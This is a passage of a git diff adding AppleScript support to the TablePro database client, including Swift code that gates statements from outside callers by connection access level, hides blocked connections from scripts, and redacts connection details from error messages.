+/// of `result row` records each holding a flat list of text. Every key has to match the `cocoa key` +/// in `TablePro.sdef` exactly; a key that does not match is dropped from the record without an error, +/// which is why they come from `ScriptingKeys` rather than being spelled out here. +/// +/// Cells become text because AppleScript has no null and no typed cell. A NULL is the empty string, +/// and binary is Base64, the same spelling the MCP surface uses so a script and a tool agree about +/// what a blob looks like. +internal enum ScriptResultEncoder { + /// The metadata comes from the result set the tab is showing, not from defaults. `rows affected`, + /// `truncated`, `execution time` and `status message` are declared properties, so answering them + /// with zeros would describe a capped read as complete and a DML statement as having changed + /// nothing. + /// What the result set reports about itself, read on the main actor by the caller because + /// `ResultSet` is main-actor isolated and this encoder is not. + internal struct Metadata: Sendable { + internal let rowsAffected: Int + internal let truncated: Bool + internal let executionTimeMs: Double + internal let statusMessage: String? + + internal static let none = Metadata( + rowsAffected: 0, truncated: false, executionTimeMs: 0, statusMessage: nil + ) + } + + internal static func encode( + _ read: DisplayedResultReader.Output, + metadata: Metadata + ) -> [String: Any] { + record( + columns: read.columns, + rows: read.rows, + rowsAffected: metadata.rowsAffected, + truncated: metadata.truncated, + executionTimeMs: metadata.executionTimeMs, + statusMessage: metadata.statusMessage + ) + } + + internal static func encode( + _ result: QueryResult, + executionTimeMs: Double + ) -> [String: Any] { + record( + columns: result.columns, + rows: result.rows, + rowsAffected: result.rowsAffected, + truncated: result.isTruncated, + executionTimeMs: executionTimeMs, + statusMessage: result.statusMessage + ) + } + + internal static func empty() -> [String: Any] { + record( + columns: [], + rows: [], + rowsAffected: 0, + truncated: false, + executionTimeMs: 0, + statusMessage: nil + ) + } + + private static func record( + columns: [String], + rows: [[PluginCellValue]], + rowsAffected: Int, + truncated: Bool, + executionTimeMs: Double, + statusMessage: String? + ) -> [String: Any] { + var fields: [String: Any] = [ + ScriptingKeys.QueryResult.columns: columns, + ScriptingKeys.QueryResult.rows: rows.map { row in + [ScriptingKeys.ResultRow.values: row.map(text(of:))] + }, + ScriptingKeys.QueryResult.rowCount: rows.count, + ScriptingKeys.QueryResult.rowsAffected: rowsAffected, + ScriptingKeys.QueryResult.truncated: truncated, + ScriptingKeys.QueryResult.executionTime: executionTimeMs + ] + fields[ScriptingKeys.QueryResult.statusMessage] = statusMessage ?? "" + return fields + } + + internal static func text(of cell: PluginCellValue) -> String { + switch cell { + case .null: "" + case .text(let value): value + case .bytes(let data): data.base64EncodedString() + } + } +} diff --git a/TablePro/Core/Scripting/ScriptTab.swift b/TablePro/Core/Scripting/ScriptTab.swift new file mode 100644 index 000000000..42282cb8f --- /dev/null +++ b/TablePro/Core/Scripting/ScriptTab.swift @@ -0,0 +1,86 @@ +// +// ScriptTab.swift +// TablePro +// + +import AppKit +import Foundation + +/// One open editor tab, as a script sees it. +/// +/// `currentResult` and `selection` are computed on read rather than captured, because a script that +/// holds `tab 1 of connection "prod"` expects the rows it asks for now, not the rows that were on +/// screen when the reference was made. Both read through `DisplayedResultReader`, so a script sees +/// exactly the rows the grid is showing: display order, hidden columns left out, and the per-column +/// value filter applied. +@objc(TPScriptTab) +internal final class ScriptTab: NSObject, ScriptCommandReceiving { + @objc internal let uniqueId: String + @objc internal let name: String + @objc internal let kind: FourCharCode + @objc internal let tableName: String? + @objc internal let databaseName: String? + @objc internal let schemaName: String? + + internal let tabId: UUID + internal let connectionId: UUID + + /// Boxed because a specifier is not `Sendable` and this one has to be readable from + /// `objectSpecifier`, which Cocoa calls without any isolation of its own. + private let container: ScriptingBox + + internal init(tab: QueryTab, connectionId: UUID, container: NSScriptObjectSpecifier?) { + self.tabId = tab.id + self.connectionId = connectionId + self.uniqueId = tab.id.uuidString + self.name = tab.title + self.kind = ScriptEnumerations.code(for: tab.tabType) + self.tableName = tab.tableContext.tableName + self.databaseName = tab.tableContext.databaseName.isEmpty ? nil : tab.tableContext.databaseName + self.schemaName = tab.tableContext.schemaName + self.container = ScriptingBox(container) + super.init() + } + + /// Read only on purpose. Prefilling SQL from outside the app already has one route, the URL + /// scheme's `query` link, and that route confirms the statement with the person first. A + /// settable property here would be a second route with no confirmation on it, which is how a + /// script would come to swap the statement under someone about to press Run. + @objc internal var query: String { + let tabId = tabId + let connectionId = connectionId + return MainActor.assumeIsolated { + ScriptingSnapshot.query(ofTab: tabId, connectionId: connectionId) ?? "" + } + } + + @objc internal var currentResult: [String: Any] { + result(selectedOnly: false) + } + + @objc internal var selection: [String: Any] { + result(selectedOnly: true) + } + + private func result(selectedOnly: Bool) -> [String: Any] { + let tabId = tabId + let connectionId = connectionId + return MainActor.assumeIsolated { + ScriptingBox( + ScriptingSnapshot.result(ofTab: tabId, connectionId: connectionId, selectedOnly: selectedOnly) + ) + }.value + } + + @objc internal func handleFocusCommand(_ command: NSScriptCommand) -> Any? { + beginScriptCommand(command) + } + + override internal var objectSpecifier: NSScriptObjectSpecifier? { + let uniqueId = uniqueId + let container = container + return MainActor.assumeIsolated { + ScriptingBox(ScriptingSpecifiers.tab(uniqueId: uniqueId, container: container.value)) + }.value + } +} diff --git a/TablePro/Core/Scripting/ScriptingApplication.swift b/TablePro/Core/Scripting/ScriptingApplication.swift new file mode 100644 index 000000000..285babbb3 --- /dev/null +++ b/TablePro/Core/Scripting/ScriptingApplication.swift @@ -0,0 +1,42 @@ +// +// ScriptingApplication.swift +// TablePro +// + +import AppKit +import Foundation + +/// What `tell application "TablePro"` can reach. +/// +/// Cocoa Scripting finds elements through ordinary key-value coding on `NSApplication`, so the +/// dictionary's `connection` element is this property and nothing more is registered anywhere. The +/// two `valueIn…` accessors are the documented hooks for resolving `connection "prod"` and +/// `connection id "…"` without Cocoa walking the whole list, and the unique-id one is what makes a +/// reference returned by a command resolvable on a later event. +/// +/// Nothing here runs at launch. Cocoa parses `TablePro.sdef` lazily, on the first Apple event the +/// app receives, so a session that is never scripted pays nothing for being scriptable. +internal extension NSApplication { + @objc var scriptConnections: [ScriptConnection] { + ScriptingSnapshot.connections() + } + + @objc func valueInScriptConnections(withUniqueID id: Any) -> ScriptConnection? { + guard let wanted = ScriptingSnapshot.uuid(from: id) else { return nil } + return scriptConnections.first { $0.connectionId == wanted } + } + + @objc func valueInScriptConnections(withName name: String) -> ScriptConnection? { + scriptConnections.first { $0.name == name } + } + + /// The connection the frontmost window is showing. + @objc var scriptCurrentConnection: ScriptConnection? { + ScriptingSnapshot.currentConnection() + } + + /// The selected tab of the frontmost window, which is what `selection of current tab` reads. + @objc var scriptCurrentTab: ScriptTab? { + ScriptingSnapshot.currentTab() + } +} diff --git a/TablePro/Core/Scripting/ScriptingError.swift b/TablePro/Core/Scripting/ScriptingError.swift new file mode 100644 index 000000000..724b25579 --- /dev/null +++ b/TablePro/Core/Scripting/ScriptingError.swift @@ -0,0 +1,93 @@ +// +// ScriptingError.swift +// TablePro +// + +import Foundation + +/// What a script sees when a command cannot be carried out. +/// +/// AppleScript reports an error as a number and a string, and a script catches it with +/// `on error message number n`. The numbers are the Apple event ones a script author already knows, +/// so `errAENoSuchObject` for a name that matches nothing and `errAEEventFailed` for everything the +/// app refused, rather than a private numbering nobody can look up. +internal enum ScriptingError: LocalizedError { + case noSuchObject(String) + case badRequest(String) + case refused(String) + case failed(String) + + internal var number: Int { + switch self { + case .noSuchObject: -1_728 + case .badRequest: -50 + case .refused, .failed: -10_000 + } + } + + internal var errorDescription: String? { + switch self { + case .noSuchObject(let detail), .badRequest(let detail), + .refused(let detail), .failed(let detail): + return detail + } + } + + /// Everything a command can throw, said in a script's own terms. + /// + /// A refusal keeps its own wording because that wording is the whole point: "this connection is + /// read only for external clients" tells a script author what to change, and a generic failure + /// does not. + /// + /// A driver's own error is the one that has to be scrubbed. It can carry a DSN, a file path or + /// the account name, and it does not stop at the script: a failed query writes the same text to + /// the history drawer, a notification and a `.public` log line. `secrets` is the connection's, + /// and the redactor is the one the MCP tools already use. + internal static func from(_ error: Error, secrets: [String] = []) -> ScriptingError { + switch error { + case let scripting as ScriptingError: + return scripting + case let gate as ExternalStatementGateError: + let detail = gate.errorDescription ?? String(localized: "Operation not permitted") + /// A refusal and a malformed request are different things to a script author: one means + /// change the connection's settings, the other means change the script. + if case .invalidArgument = gate { + return .badRequest(detail) + } + return .refused(detail) + case let execution as ExecutionGateError: + return .refused(execution.errorDescription ?? String(localized: "Operation not permitted")) + case let access as DatabaseAccessError: + return from(access) + case let routing as TabRouterError: + if case .userCancelled = routing { + return .refused(String(localized: "The operation was cancelled.")) + } + if case .connectionNotFound = routing { + return .noSuchObject(routing.errorDescription ?? "") + } + return .failed(routing.errorDescription ?? String(localized: "The operation failed.")) + case is CancellationError: + return .failed(String(localized: "The operation was cancelled.")) + default: + return .failed(MCPErrorRedactor.message(for: error, secrets: secrets)) + } + } + + private static func from(_ error: DatabaseAccessError) -> ScriptingError { + switch error { + case .notFound(let detail): + return .noSuchObject(detail) + case .notConnected: + return .failed(String(localized: "The connection is not open. Connect it first.")) + case .forbidden(let detail, _): + return .refused(detail) + case .userCancelled: + return .refused(String(localized: "The operation was cancelled.")) + case .invalidArgument(let detail): + return .badRequest(detail) + case .timeout(let detail, _), .expired(let detail), .dataSourceError(let detail): + return .failed(detail) + } + } +} diff --git a/TablePro/Core/Scripting/ScriptingKeys.swift b/TablePro/Core/Scripting/ScriptingKeys.swift new file mode 100644 index 000000000..37206362f --- /dev/null +++ b/TablePro/Core/Scripting/ScriptingKeys.swift @@ -0,0 +1,48 @@ +// +// ScriptingKeys.swift +// TablePro +// + +import Foundation + +/// The `cocoa key` strings the scripting dictionary binds each record property to. +/// +/// A record result is an `NSDictionary` whose keys have to match `TablePro.sdef` exactly, and a key +/// that does not match is not an error: Cocoa returns the record with that property missing, or +/// fails the whole reply with `errAEEventNotHandled` and no diagnostic anywhere. They are named once +/// here so the encoder and `ScriptingDictionaryTests` read the same list rather than two copies of +/// the same spelling. +internal enum ScriptingKeys { + internal enum QueryResult { + internal static let columns = "scriptColumns" + internal static let rows = "scriptRows" + internal static let rowCount = "scriptRowCount" + internal static let rowsAffected = "scriptRowsAffected" + internal static let truncated = "scriptTruncated" + internal static let executionTime = "scriptExecutionTime" + internal static let statusMessage = "scriptStatusMessage" + + internal static let all = [ + columns, rows, rowCount, rowsAffected, truncated, executionTime, statusMessage + ] + } + + internal enum ResultRow { + internal static let values = "scriptValues" + + internal static let all = [values] + } + + internal enum Parameter { + internal static let connection = "ScriptConnectionArgument" + internal static let database = "ScriptDatabaseArgument" + internal static let schema = "ScriptSchemaArgument" + internal static let rowLimit = "ScriptRowLimitArgument" + internal static let timeout = "ScriptTimeoutArgument" + } + + internal enum Element { + internal static let connections = "scriptConnections" + internal static let tabs = "scriptTabs" + } +} diff --git a/TablePro/Core/Scripting/ScriptingSnapshot.swift b/TablePro/Core/Scripting/ScriptingSnapshot.swift new file mode 100644 index 000000000..b952521f2 --- /dev/null +++ b/TablePro/Core/Scripting/ScriptingSnapshot.swift @@ -0,0 +1,261 @@ +// +// ScriptingSnapshot.swift +// TablePro +// + +import AppKit +import Foundation + +/// Reads live app state into the value objects a script sees. +/// +/// The scriptable objects stay dumb on purpose: they hold strings and codes, and every question that +/// needs the running app is answered here. That keeps one place to check when asking what a script +/// can see, which for a database client is the question that matters. +/// +/// A connection whose **External Clients** level is Blocked is not listed at all, so a script cannot +/// discover its name, host or database, let alone read from it. That mirrors what the MCP surface +/// already does, and it is the reason `connections` is filtered rather than annotated. +@MainActor +internal enum ScriptingSnapshot { + // MARK: - Connections + + internal static func connections() -> [ScriptConnection] { + let sessions = DatabaseManager.shared.activeSessions + return ConnectionStorage.shared.loadConnections() + .filter { $0.externalAccess != .blocked } + .sorted { lhs, rhs in + lhs.name == rhs.name + ? lhs.id.uuidString < rhs.id.uuidString + : lhs.name.localizedStandardCompare(rhs.name) == .orderedAscending + } + .map { ScriptConnection(connection: $0, session: sessions[$0.id]) } + } + + internal static func connection(withId id: UUID) -> ScriptConnection? { + connections().first { $0.connectionId == id } + } + + /// Whether a script may see this connection at all. + /// + /// Asked again on every path that can reach a connection without having resolved it through + /// `connections()` first. `current tab` is the one that can: it starts from the front window, + /// not from the element list, so without this a Blocked connection on screen would hand a script + /// its tab and, through the tab, its rows. + /// Read from storage rather than from the session, because nothing reconciles the level onto a + /// live session, and a connection deleted while its session is still up is not visible at all. + internal static func isVisibleToScripts(connectionId: UUID) -> Bool { + guard let stored = ConnectionStorage.shared.loadConnections().first(where: { $0.id == connectionId }) + else { + return false + } + return stored.externalAccess != .blocked + } + + /// The connection the frontmost window is showing, which is what an unqualified script means by + /// "the one I am looking at". + internal static func currentConnection() -> ScriptConnection? { + guard let id = frontmostCoordinator()?.connectionId else { return nil } + return connection(withId: id) + } + + // MARK: - Tabs + + internal static func tabs(forConnection connectionId: UUID) -> [ScriptTab] { + guard isVisibleToScripts(connectionId: connectionId) else { return [] } + let container = ScriptingSpecifiers.connection(uniqueId: connectionId.uuidString) + return coordinators(forConnection: connectionId).flatMap { coordinator in + coordinator.tabManager.tabs.map { + ScriptTab(tab: $0, connectionId: connectionId, container: container) + } + } + } + + internal static func currentTab() -> ScriptTab? { + guard let coordinator = frontmostCoordinator(), + let tab = coordinator.tabManager.selectedTab, + isVisibleToScripts(connectionId: coordinator.connectionId) + else { + return nil + } + let connectionId = coordinator.connectionId + return ScriptTab( + tab: tab, + connectionId: connectionId, + container: ScriptingSpecifiers.connection(uniqueId: connectionId.uuidString) + ) + } + + /// Waits for a table tab to appear after asking for it to be opened. + /// + /// Opening a tab runs through window creation and a connect, neither of which the router waits + /// on, so a command that returned immediately would hand the script a reference to nothing. The + /// deadline is what turns a connection that never opens into an error the script can catch + /// rather than a wait that only ends at AppleScript's own two-minute timeout. + internal static func awaitTab( + connectionId: UUID, + tableName: String, + databaseName: String?, + schemaName: String?, + timeout: Duration = .seconds(8), + pollInterval: Duration = .milliseconds(50), + clock: ContinuousClock = ContinuousClock() + ) async -> ScriptTab? { + let deadline = clock.now.advanced(by: timeout) + while clock.now < deadline { + if let match = tabs(forConnection: connectionId).first(where: { + matches($0, tableName: tableName, databaseName: databaseName, schemaName: schemaName) + }) { + return match + } + try? await Task.sleep(for: pollInterval) + } + return nil + } + + /// The table name alone is not an identity. Another database or schema on the same connection + /// can have a table of the same name already open, and returning that one hands the script a + /// reference to rows it did not ask for. + private static func matches( + _ tab: ScriptTab, + tableName: String, + databaseName: String?, + schemaName: String? + ) -> Bool { + guard tab.kind == ScriptEnumerations.code(for: .table), tab.tableName == tableName else { + return false + } + if let databaseName, tab.databaseName != databaseName { return false } + if let schemaName, tab.schemaName != schemaName { return false } + return true + } + + /// Selecting the editor tab is not enough on its own. Its window can be showing a different + /// connection, and it can be a background member of a native tab group, either of which leaves + /// the tab hidden while the command reports success. The connection router already does all + /// three; this does the same in the same order. + @discardableResult + internal static func focus(tab tabId: UUID, connectionId: UUID) -> Bool { + guard isVisibleToScripts(connectionId: connectionId), + let coordinator = coordinator(ofTab: tabId, connectionId: connectionId) + else { + return false + } + + coordinator.tabManager.selectedTabId = tabId + + guard let windowId = coordinator.windowId, + let window = WindowLifecycleMonitor.shared.window(for: windowId) + else { + coordinator.focusWindow() + return true + } + if let host = window.contentViewController as? MainSplitViewController, + host.workspaces.contains(connectionId) { + host.selectHostedConnection(connectionId) + } + if let group = window.tabGroup, group.selectedWindow !== window { + group.selectedWindow = window + } + window.makeKeyAndOrderFront(nil) + return true + } + + internal static func query(ofTab tabId: UUID, connectionId: UUID) -> String? { + guard isVisibleToScripts(connectionId: connectionId) else { return nil } + return coordinator(ofTab: tabId, connectionId: connectionId)? + .tabManager.tabs.first { $0.id == tabId }?.content.query + } + + // MARK: - Results + + /// The rows a tab is showing, or only the ones selected in its grid. + /// + /// Selection indices are display positions, not indices into the row buffer, so they are + /// resolved through `DisplayedResultReader` rather than used to subscript anything. + internal static func result( + ofTab tabId: UUID, + connectionId: UUID, + selectedOnly: Bool + ) -> [String: Any] { + guard isVisibleToScripts(connectionId: connectionId), + let coordinator = coordinator(ofTab: tabId, connectionId: connectionId), + let tab = coordinator.tabManager.tabs.first(where: { $0.id == tabId }) + else { + return ScriptResultEncoder.empty() + } + + /// The live grid only answers for the tab it is mounted in, and only while a data grid owns + /// its selection: in Structure or Chart mode those indices belong to the schema grid or are + /// left over from the last data grid, and applying them to the row buffer returns unrelated + /// rows. Every other tab's selection is the one persisted on the tab itself. + let isSelectedTab = coordinator.tabManager.selectedTabId == tabId + let ownsLiveSelection = isSelectedTab && GridSelectionOwner.resolve( + tabType: tab.tabType, + resultsViewMode: tab.display.resultsViewMode + ) == .dataGrid + let selected = selectedOnly + ? (ownsLiveSelection ? coordinator.selectionState.indices : tab.selectedRowIndices) + : [] + if selectedOnly, selected.isEmpty { + return ScriptResultEncoder.empty() + } + + /// A row marked for deletion is still in the buffer and is deliberately not in the result the + /// grid is showing, so it is not in what a script reads either. + let deleted = isSelectedTab + ? coordinator.changeManager.deletedRowIndices + : tab.pendingChanges.deletedRowIndices + + let tableRows = coordinator.tabSessionRegistry.tableRows(for: tabId) + let read = DisplayedResultReader.read( + tableRows: tableRows, + displayIDs: coordinator.displayIDs(forTab: tabId), + selectedDisplayIndices: selected, + deletedDisplayIndices: deleted, + columns: .fromColumnLayout(tab.columnLayout, columns: tableRows.columns) + ) + let metadata = tab.display.activeResultSet.map { + ScriptResultEncoder.Metadata( + rowsAffected: $0.rowsAffected, + truncated: $0.isTruncated, + executionTimeMs: ($0.executionTime ?? 0) * 1_000, + statusMessage: $0.statusMessage + ) + } ?? .none + return ScriptResultEncoder.encode(read, metadata: metadata) + } + + // MARK: - Lookup + + nonisolated internal static func uuid(from value: Any) -> UUID? { + if let uuid = value as? UUID { return uuid } + if let string = value as? String { return UUID(uuidString: string) } + return nil + } + + private static func coordinators(forConnection connectionId: UUID) -> [MainContentCoordinator] { + MainContentCoordinator.allActiveCoordinators().filter { $0.connectionId == connectionId } + } + + private static func coordinator(ofTab tabId: UUID, connectionId: UUID) -> MainContentCoordinator? { + coordinators(forConnection: connectionId).first { coordinator in + coordinator.tabManager.tabs.contains { $0.id == tabId } + } + } + + /// One window hosts several connections, so every one of their coordinators reports the same + /// `contentWindow` and picking the first match returns an arbitrary one. `coordinator(forWindow:)` + /// asks the window which workspace it is showing, which is the only thing "the one I am looking + /// at" can mean. + private static func frontmostCoordinator() -> MainContentCoordinator? { + for window in [NSApp.keyWindow, NSApp.mainWindow].compactMap({ $0 }) { + if let match = MainContentCoordinator.coordinator(forWindow: window) { + return match + } + } + return NSApp.orderedWindows + .lazy + .compactMap { MainContentCoordinator.coordinator(forWindow: $0) } + .first + } +} diff --git a/TablePro/Core/Scripting/ScriptingSpecifiers.swift b/TablePro/Core/Scripting/ScriptingSpecifiers.swift new file mode 100644 index 000000000..f78058e11 --- /dev/null +++ b/TablePro/Core/Scripting/ScriptingSpecifiers.swift @@ -0,0 +1,42 @@ +// +// ScriptingSpecifiers.swift +// TablePro +// + +import AppKit +import Foundation + +/// How a scriptable object says where it lives. +/// +/// Every specifier is built by unique id rather than by name or index. A connection can be renamed +/// and two can share a name, and a tab's position moves whenever another one is opened or closed, so +/// a reference built on either would silently start pointing at something else. Name and index +/// lookups still work for the script author; they are just not what a returned reference is made of. +@MainActor +internal enum ScriptingSpecifiers { + internal static func connection(uniqueId: String) -> NSScriptObjectSpecifier? { + guard let application = NSApplication.shared.classDescription as? NSScriptClassDescription else { + return nil + } + return NSUniqueIDSpecifier( + containerClassDescription: application, + containerSpecifier: nil, + key: ScriptingKeys.Element.connections, + uniqueID: uniqueId + ) + } + + internal static func tab(uniqueId: String, container: NSScriptObjectSpecifier?) -> NSScriptObjectSpecifier? { + guard let container, + let description = container.keyClassDescription + else { + return nil + } + return NSUniqueIDSpecifier( + containerClassDescription: description, + containerSpecifier: container, + key: ScriptingKeys.Element.tabs, + uniqueID: uniqueId + ) + } +} diff --git a/TablePro/Core/Services/Execution/ExecutionAuditLog.swift b/TablePro/Core/Services/Execution/ExecutionAuditLog.swift index b482fe9ba..f5707f3d8 100644 --- a/TablePro/Core/Services/Execution/ExecutionAuditLog.swift +++ b/TablePro/Core/Services/Execution/ExecutionAuditLog.swift @@ -80,6 +80,7 @@ internal actor ExecutionAuditLog: ExecutionAuditLogging { case .userInterface: "userInterface" case .mcpClient: "mcpClient" case .aiAssistant: "aiAssistant" + case .appleScript: "appleScript" case .importPipeline: "importPipeline" case .backgroundMaintenance: "backgroundMaintenance" } diff --git a/TablePro/Core/Services/Execution/ExternalConnectionPolicySnapshot.swift b/TablePro/Core/Services/Execution/ExternalConnectionPolicySnapshot.swift new file mode 100644 index 000000000..e98e9e18e --- /dev/null +++ b/TablePro/Core/Services/Execution/ExternalConnectionPolicySnapshot.swift @@ -0,0 +1,87 @@ +// +// ExternalConnectionPolicySnapshot.swift +// TablePro +// + +import Foundation + +/// What a caller outside the app's own windows has to know about a connection before it may touch it. +/// +/// The two policy fields come from different places, and which place is right is a property of how +/// each one is reconciled rather than a matter of taste. +/// +/// Safe Mode comes from the live session, because `DatabaseManager.reconcileStoredRecord` pushes a +/// change onto the session through `setSafeModeLevel`, so the session carries the level in force now. +/// +/// **External Clients comes from storage**, because nothing pushes it onto the session: +/// `adoptDisplayFields` reconciles `name`, `color` and `tagIds` and nothing else, so +/// `session.connection.externalAccess` is frozen at connect time. Reading it from the session meant +/// lowering an open connection from Read & Write to Read Only did nothing at all until the user +/// reconnected, on every surface that asks, while the settings pane reported the new level. +internal struct ExternalConnectionPolicySnapshot: Sendable { + internal let connectionId: UUID + internal let connectionName: String + internal let databaseType: DatabaseType + internal let safeModeLevel: SafeModeLevel + internal let externalAccess: ExternalAccessLevel + /// The database in force: the one the session is browsing when connected, the saved one when not. + internal let databaseName: String + /// The database the connection was saved with, which is not the one in force once the user has + /// switched. Kept alongside because an error redactor has to hide both spellings. + internal let storedDatabaseName: String + internal let host: String + internal let port: Int + internal let username: String + + @MainActor + internal static func resolve(connectionId: UUID) throws -> ExternalConnectionPolicySnapshot { + let stored = ConnectionStorage.shared.loadConnections().first { $0.id == connectionId } + switch DatabaseManager.shared.connectionState(connectionId) { + case .live(_, let session): + return make( + connectionId: connectionId, + connection: session.connection, + databaseName: session.resolvedBrowseDatabase, + /// A session whose record has been deleted keeps no claim to a level, so it falls to + /// the most restrictive one rather than to whatever it was granted at connect time. + externalAccess: stored?.externalAccess ?? .blocked + ) + case .stored(let connection): + return make( + connectionId: connectionId, + connection: connection, + databaseName: connection.database, + externalAccess: connection.externalAccess + ) + case .unknown: + throw DatabaseAccessError.notFound( + String(localized: "No saved connection has that id.") + ) + } + } + + private static func make( + connectionId: UUID, + connection: DatabaseConnection, + databaseName: String, + externalAccess: ExternalAccessLevel + ) -> ExternalConnectionPolicySnapshot { + ExternalConnectionPolicySnapshot( + connectionId: connectionId, + connectionName: connection.name, + databaseType: connection.type, + safeModeLevel: connection.safeModeLevel, + externalAccess: externalAccess, + databaseName: databaseName, + storedDatabaseName: connection.database, + host: connection.host, + port: connection.port, + username: connection.username + ) + } + + /// Values worth keeping out of an error a caller outside the app will read, log or store. + internal var redactionSecrets: [String] { + [host, username, databaseName, storedDatabaseName, String(port)].filter { !$0.isEmpty } + } +} diff --git a/TablePro/Core/Services/Execution/ExternalStatementGate.swift b/TablePro/Core/Services/Execution/ExternalStatementGate.swift new file mode 100644 index 000000000..4a467cec3 --- /dev/null +++ b/TablePro/Core/Services/Execution/ExternalStatementGate.swift @@ -0,0 +1,138 @@ +// +// ExternalStatementGate.swift +// TablePro +// + +import Foundation + +internal enum ExternalStatementGateError: LocalizedError, Equatable { + case denied(String) + case invalidArgument(String) + + internal var errorDescription: String? { + switch self { + case .denied(let detail), .invalidArgument(let detail): + return detail + } + } +} + +/// What every caller outside the app's own windows has to clear before a statement reaches a driver. +/// +/// MCP and AppleScript ask the same four questions of a statement and then hand it to the same +/// `ExecutionGate`. They used to be one method inside `MCPStatementGate`, which meant a second +/// transport could only get the policy by copying it, and a copied policy is a policy that drifts. +/// +/// It is two entry points rather than one because the order matters. `classify` refuses a statement +/// on the connection's own terms and prompts nobody; `authorizeExecution` is where safe mode may put +/// a dialog in front of a person. A transport with a consent step of its own (MCP's elicitation) +/// runs it between the two, so nobody is ever asked to approve a statement that was already refused. +internal enum ExternalStatementGate { + internal struct Statement: Sendable { + internal let sql: String + internal let connectionId: UUID + internal let databaseType: DatabaseType + internal let externalAccess: ExternalAccessLevel + internal let allowsDestructive: Bool + internal let allowsMultiStatement: Bool + /// What this transport offers instead, appended to the destructive refusal. MCP has a tool + /// for it; AppleScript confirms interactively and never reaches the refusal. + internal let destructiveAlternative: String? + + internal init( + sql: String, + connectionId: UUID, + databaseType: DatabaseType, + externalAccess: ExternalAccessLevel, + allowsDestructive: Bool, + allowsMultiStatement: Bool = false, + destructiveAlternative: String? = nil + ) { + self.sql = sql + self.connectionId = connectionId + self.databaseType = databaseType + self.externalAccess = externalAccess + self.allowsDestructive = allowsDestructive + self.allowsMultiStatement = allowsMultiStatement + self.destructiveAlternative = destructiveAlternative + } + } + + /// The refusals a connection's own settings make, before anyone is prompted about anything. + @discardableResult + internal static func classify(_ statement: Statement) throws -> QueryClassification { + let classification = QueryClassifier.classify(statement.sql, databaseType: statement.databaseType) + + guard !classification.reachesFilesystemOrExecutesCode else { + throw ExternalStatementGateError.denied( + String( + localized: """ + Statements that read or write files, or that run server-side code, cannot be sent \ + from outside the app. Run this one in TablePro instead. + """ + ) + ) + } + + if !statement.allowsMultiStatement, + QueryClassifier.isMultiStatement(statement.sql, databaseType: statement.databaseType) { + throw ExternalStatementGateError.invalidArgument( + String(localized: "Send one statement at a time.") + ) + } + + if classification.tier != .safe, statement.externalAccess != .readWrite { + throw ExternalStatementGateError.denied( + String(localized: "This connection is read only for external clients.") + ) + } + + if classification.tier == .destructive, !statement.allowsDestructive { + let refusal = String(localized: "This statement drops or truncates data.") + throw ExternalStatementGateError.denied( + statement.destructiveAlternative.map { "\(refusal) \($0)" } ?? refusal + ) + } + + return classification + } + + /// Safe Mode, and the confirmation or biometric prompt it asks for. + internal static func authorizeExecution( + sql: String, + connectionId: UUID, + databaseType: DatabaseType, + caller: OperationCaller, + capabilities: CallerCapabilities, + operationDescription: String, + gate: any ExecutionGate = ExecutionGateProvider.shared + ) async throws { + let decision = await gate.authorize( + OperationRequest( + connectionId: connectionId, + databaseType: databaseType, + sql: sql, + kind: OperationKind.from(QueryClassifier.classifyTier(sql, databaseType: databaseType)), + caller: caller, + capabilities: capabilities, + operationDescription: operationDescription + ) + ) + if case .denied(let reason) = decision { + throw ExternalStatementGateError.denied(reason) + } + } + + /// Whether a person has to see this statement before it runs, on this connection's settings. + internal static func requiresUserConsent( + classification: QueryClassification, + sql: String, + databaseType: DatabaseType, + safeModeLevel: SafeModeLevel + ) -> Bool { + if classification.tier == .destructive { return true } + if QueryClassifier.isDangerousQuery(sql, databaseType: databaseType) { return true } + guard safeModeLevel.requiresConfirmation else { return false } + return classification.tier != .safe || safeModeLevel.appliesToAllQueries + } +} diff --git a/TablePro/Core/Services/Execution/OperationCaller.swift b/TablePro/Core/Services/Execution/OperationCaller.swift index b4497f942..f604f3694 100644 --- a/TablePro/Core/Services/Execution/OperationCaller.swift +++ b/TablePro/Core/Services/Execution/OperationCaller.swift @@ -9,6 +9,9 @@ internal enum OperationCaller: Sendable, Equatable { case userInterface case mcpClient(label: String?) case aiAssistant(sessionId: String?) + /// An Apple event from another app. The name is the sending application's, taken from the pid + /// the kernel stamps on the event rather than from anything the script says about itself. + case appleScript(client: String?) case importPipeline case backgroundMaintenance } diff --git a/TablePro/Core/Services/Infrastructure/LaunchIntentRouter.swift b/TablePro/Core/Services/Infrastructure/LaunchIntentRouter.swift index dae1f71dd..487f02bfd 100644 --- a/TablePro/Core/Services/Infrastructure/LaunchIntentRouter.swift +++ b/TablePro/Core/Services/Infrastructure/LaunchIntentRouter.swift @@ -51,7 +51,7 @@ internal final class LaunchIntentRouter { } } catch let error as TabRouterError where error == .userCancelled { Self.logger.info("Intent cancelled by user") - } catch let error as MCPDataLayerError where error.isUserCancelled { + } catch let error as DatabaseAccessError where error.isUserCancelled { Self.logger.info("Pairing cancelled by user") } catch is CancellationError { Self.logger.info("Intent cancelled") diff --git a/TablePro/Core/Services/Operations/OperationCompletion.swift b/TablePro/Core/Services/Operations/OperationCompletion.swift index 7438a9a43..ea9fa9de4 100644 --- a/TablePro/Core/Services/Operations/OperationCompletion.swift +++ b/TablePro/Core/Services/Operations/OperationCompletion.swift @@ -19,6 +19,7 @@ internal enum TrackedOperationKind: String, CaseIterable, Sendable { case backup case fetchAll case mcpQuery + case scriptQuery } /// What a completion can be attributed to, which is also what a click can focus. A tab-owned diff --git a/TablePro/Core/Services/Operations/OperationCompletionCopy.swift b/TablePro/Core/Services/Operations/OperationCompletionCopy.swift index ce69ea87a..68d3ea96f 100644 --- a/TablePro/Core/Services/Operations/OperationCompletionCopy.swift +++ b/TablePro/Core/Services/Operations/OperationCompletionCopy.swift @@ -88,7 +88,7 @@ internal enum OperationCompletionCopy { case .dataImport: return String(localized: "Import finished") case .dataExport: return String(localized: "Export finished") case .objectCopy: return String(localized: "Copy finished") - case .query, .queryBatch, .fetchAll, .mcpQuery: return String(localized: "Finished") + case .query, .queryBatch, .fetchAll, .mcpQuery, .scriptQuery: return String(localized: "Finished") } } diff --git a/TablePro/Core/Storage/HistoryPanelPreferencesStorage.swift b/TablePro/Core/Storage/HistoryPanelPreferencesStorage.swift index 354040e05..edb13f871 100644 --- a/TablePro/Core/Storage/HistoryPanelPreferencesStorage.swift +++ b/TablePro/Core/Storage/HistoryPanelPreferencesStorage.swift @@ -42,7 +42,8 @@ struct HistoryPanelPreferences: Codable, Equatable, Sendable { ?? fallback.showsAllConnections pinnedConnectionId = try 